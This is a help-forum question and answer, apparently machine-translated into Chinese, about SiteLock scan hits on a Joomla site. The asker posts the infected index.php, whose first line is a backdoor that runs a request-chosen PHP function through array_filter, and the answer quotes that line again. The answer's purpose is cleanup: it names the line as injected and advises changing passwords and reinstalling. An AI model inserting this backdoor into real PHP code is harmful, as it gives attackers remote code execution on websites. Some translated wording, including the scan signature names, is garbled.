如何识别在我的脚本中找到的SiteLock-PHP_REQUEST-jki.unfiicIAL的原因？

Question

因此，恶意软件扫描的结果返回如下：

/sanaciondelalma/sanaciondelalma/configuration.php: SiteLock-PHP_REQUEST-JKi.OFICIAL找到 /sanaciondelalma/sanaciondelalma/index.php: SiteLock-PHP_REQUEST-jki.unficIAL /sanaciondelalma/sanaciondelalma/images/mod_config.php: SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL发现 /sanaciondelalma/sanaciondelalma/templates/atomic/error.php: SiteLock-PHP-BACKDOOR-GENERIC-md5-wef.UNOFFICIAL发现 /pablofaro/映像/mod_config.php: SiteLock-PHP-BACKDOOR-GENERIC-md5-efg.UNOFFICIAL

我不知道如何在脚本中识别原因，这是索引一。你能帮忙吗？

<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
/**
 * @package     Joomla.Site
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Set flag that this is a parent file.
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);

if (file_exists(dirname(__FILE__) . '/defines.php')) {
    include_once dirname(__FILE__) . '/defines.php';
}

if (!defined('_JDEFINES')) {
    define('JPATH_BASE', dirname(__FILE__));
    require_once JPATH_BASE.'/includes/defines.php';
}

require_once JPATH_BASE.'/includes/framework.php';

// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Initialise the application.
$app->initialise();

// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

// Route the application.
$app->route();

// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;

// Dispatch the application.
$app->dispatch();

// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

// Render the application.
$app->render();

// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;

// Return the response.
echo $app;

Answer 1

if ($_REQUEST['param1']&&$_REQUEST['param2']) 
    {
      $f = $_REQUEST['param1'];
      $p = array($_REQUEST['param2']);
      $pf = array_filter($p, $f); 
      echo 'OK'; Exit;
    }

上面的这条线不应该存在

这是由恶意脚本注入到代码中的包装代码行。

你应该说什么

• 更改所有密码
• 清洁安装您的网站，尽量避免使用官方joomla网站未注册的供应商提供的免费软件模板和插件。

观察